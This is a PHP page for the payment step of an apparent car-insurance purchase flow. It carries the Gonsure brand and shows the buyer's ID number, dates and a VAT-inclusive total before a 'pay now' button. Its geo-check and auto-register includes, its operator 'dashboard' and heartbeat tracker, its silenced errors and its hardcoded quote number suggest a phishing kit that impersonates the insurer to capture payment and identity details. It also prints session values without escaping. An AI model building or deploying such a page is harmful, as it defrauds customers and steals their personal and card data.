<?php
require_once(__DIR__ . '/geo-check.php');

error_reporting(0);
ini_set('display_errors', 0);
session_start();
require_once(__DIR__ . "/dashboard/init.php");
require_once(__DIR__ . "/auto-register.php");
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>جونشور | ملخص الطلب</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
    <link rel="stylesheet" href="./assets/gonsure-style.css">
    <style>
        .summary-card {
            background: var(--bg-white);
            border-radius: var(--radius-lg);
            box-shadow: var(--shadow-md);
            padding: 20px;
            margin-bottom: 16px;
        }
        .summary-card .company-logo {
            width: 80px;
            height: 80px;
            object-fit: contain;
            display: block;
            margin: 0 auto 16px;
        }
        .info-row {
            display: flex;
            justify-content: space-between;
            padding: 10px 0;
            border-bottom: 1px solid #f1f5f9;
        }
        .info-row:last-child {
            border-bottom: none;
        }
        .info-row .info-label {
            font-size: 13px;
            font-weight: 600;
            color: var(--text-dark);
        }
        .info-row .info-value {
            font-size: 13px;
            color: var(--text-muted);
        }
        .details-card {
            background: linear-gradient(135deg, #eff6ff, #E5E9FF);
            border: 1.5px solid var(--primary);
            border-radius: var(--radius-lg);
            padding: 20px;
            margin-bottom: 16px;
        }
        .details-card h5 {
            font-weight: 700;
            color: var(--primary);
            padding-bottom: 12px;
            border-bottom: 1px solid rgba(36, 71, 255, 0.2);
            margin-bottom: 12px;
        }
        .detail-row {
            display: flex;
            justify-content: space-between;
            padding: 6px 0;
        }
        .detail-row .detail-label {
            font-size: 12px;
            font-weight: 600;
            color: var(--text-dark);
        }
        .detail-row .detail-value {
            font-size: 12px;
            font-weight: 700;
            color: var(--text-dark);
        }
        .total-row {
            display: flex;
            justify-content: space-between;
            padding-top: 12px;
            border-top: 1.5px solid var(--primary);
            margin-top: 8px;
        }
        .total-row .total-label {
            font-size: 16px;
            font-weight: 700;
            color: var(--primary);
        }
        .total-row .total-value {
            font-size: 16px;
            font-weight: 700;
            color: var(--primary);
        }
        .tax-note {
            font-size: 10px;
            color: var(--text-muted);
            margin-top: 8px;
        }
    </style>
</head>
<body style="background: var(--bg-light);">

    <!-- Navbar -->
    <nav class="gonsure-nav">
        <a href="index.php">
            <img src="./assets/gonsure_logo.svg" alt="جونشور" class="logo">
        </a>
        <div class="step-indicator">
            <div class="step-dot completed"></div>
            <div class="step-dot completed"></div>
            <div class="step-dot completed"></div>
            <div class="step-dot active"></div>
        </div>
    </nav>

    <!-- Title -->
    <div style="text-align: center; padding: 20px 16px 12px;">
        <h5 style="font-weight: 700; color: var(--text-dark);">
            <i class="fas fa-file-invoice" style="color: var(--primary); margin-left: 8px;"></i>
            ملخص الطلب
        </h5>
    </div>

    <div style="padding: 0 16px; margin-bottom: 100px;">
        <form action="payment.php" method="post">
            <input type="hidden" name="status" value="5">

            <!-- Company Card -->
            <div class="summary-card">
                <img src="./assets/<?php echo htmlspecialchars($_SESSION['image']); ?>" class="company-logo" alt="">
            </div>

            <!-- Info Card -->
            <div class="summary-card">
                <div class="info-row">
                    <span class="info-label"><i class="fas fa-calendar" style="color: var(--primary); margin-left: 6px;"></i> تاريخ بدء الوثيقة</span>
                    <span class="info-value"><?php echo $_SESSION['date']; ?></span>
                </div>
                <?php
                if ($_SESSION['type'] == 1) {
                    echo '<div class="info-row">
                        <span class="info-label"><i class="fas fa-id-card" style="color: var(--primary); margin-left: 6px;"></i> رقم الهوية</span>
                        <span class="info-value">' . $_SESSION['ssn'] . '</span>
                    </div>';
                    echo '<div class="info-row">
                        <span class="info-label"><i class="fas fa-car" style="color: var(--primary); margin-left: 6px;"></i> سنة الصنع</span>
                        <span class="info-value">' . $_SESSION['createdYear'] . '</span>
                    </div>';
                }
                if ($_SESSION['type'] == 2) {
                    echo '<div class="info-row">
                        <span class="info-label"><i class="fas fa-building" style="color: var(--primary); margin-left: 6px;"></i> اسم الشركة</span>
                        <span class="info-value">' . $_SESSION['company'] . '</span>
                    </div>';
                    echo '<div class="info-row">
                        <span class="info-label"><i class="fas fa-hashtag" style="color: var(--primary); margin-left: 6px;"></i> رقم السجل التجاري</span>
                        <span class="info-value">' . $_SESSION['comNum'] . '</span>
                    </div>';
                }
                if ($_SESSION['type'] == 3) {
                    echo '<div class="info-row">
                        <span class="info-label"><i class="fas fa-id-card" style="color: var(--primary); margin-left: 6px;"></i> رقم الهوية</span>
                        <span class="info-value">' . $_SESSION['ssn'] . '</span>
                    </div>';
                }
                if ($_SESSION['type'] == 4) {
                    echo '<div class="info-row">
                        <span class="info-label"><i class="fas fa-calendar-xmark" style="color: var(--primary); margin-left: 6px;"></i> تاريخ انتهاء الوثيقة</span>
                        <span class="info-value">' . $_SESSION['date2'] . '</span>
                    </div>';
                }
                ?>
                <div class="info-row">
                    <span class="info-label"><i class="fas fa-barcode" style="color: var(--primary); margin-left: 6px;"></i> الرقم المرجعي للتسعيرة</span>
                    <span class="info-value">1703987910</span>
                </div>
            </div>

            <!-- Details Card -->
            <div class="details-card">
                <h5><i class="fas fa-receipt" style="margin-left: 8px;"></i> التفاصيل</h5>
                <div class="detail-row">
                    <span class="detail-label">المجموع الجزئي</span>
                    <span class="detail-value"><?php echo number_format((float)$_SESSION['totalprice'] - ((float)$_SESSION['totalprice'] * 0.15), 2); ?> ر.س</span>
                </div>
                <div class="detail-row">
                    <span class="detail-label">ضريبة القيمة المضافة (15.00%)</span>
                    <span class="detail-value"><?php echo number_format((float)$_SESSION['totalprice'] * 0.15, 2); ?> ر.س</span>
                </div>
                <div class="total-row">
                    <span class="total-label">المبلغ الإجمالي</span>
                    <span class="total-value"><?php echo number_format((float)$_SESSION['totalprice'], 2); ?> ر.س</span>
                </div>
                <p class="tax-note">شامل جميع الضرائب والرسوم و 4.00% عمولة الوسيط</p>
            </div>

            <!-- Pay Button -->
            <button type="submit" name="send" class="btn-gonsure" style="margin-top: 16px;">
                <i class="fas fa-credit-card"></i>
                ادفع الآن
            </button>
        </form>
    </div>

    <!-- Footer -->
    <footer class="gonsure-footer">
        <img src="./assets/gonsure_logo.svg" alt="جونشور" class="footer-logo">
        <div class="footer-copyright">© جونشور 2025. جميع الحقوق محفوظة</div>
    </footer>

<input type="hidden" id="hb_uid" value="<?= isset($_SESSION['user_id']) ? $_SESSION['user_id'] : 0 ?>">
<script src="js/heartbeat.js"></script>
</body>
</html>
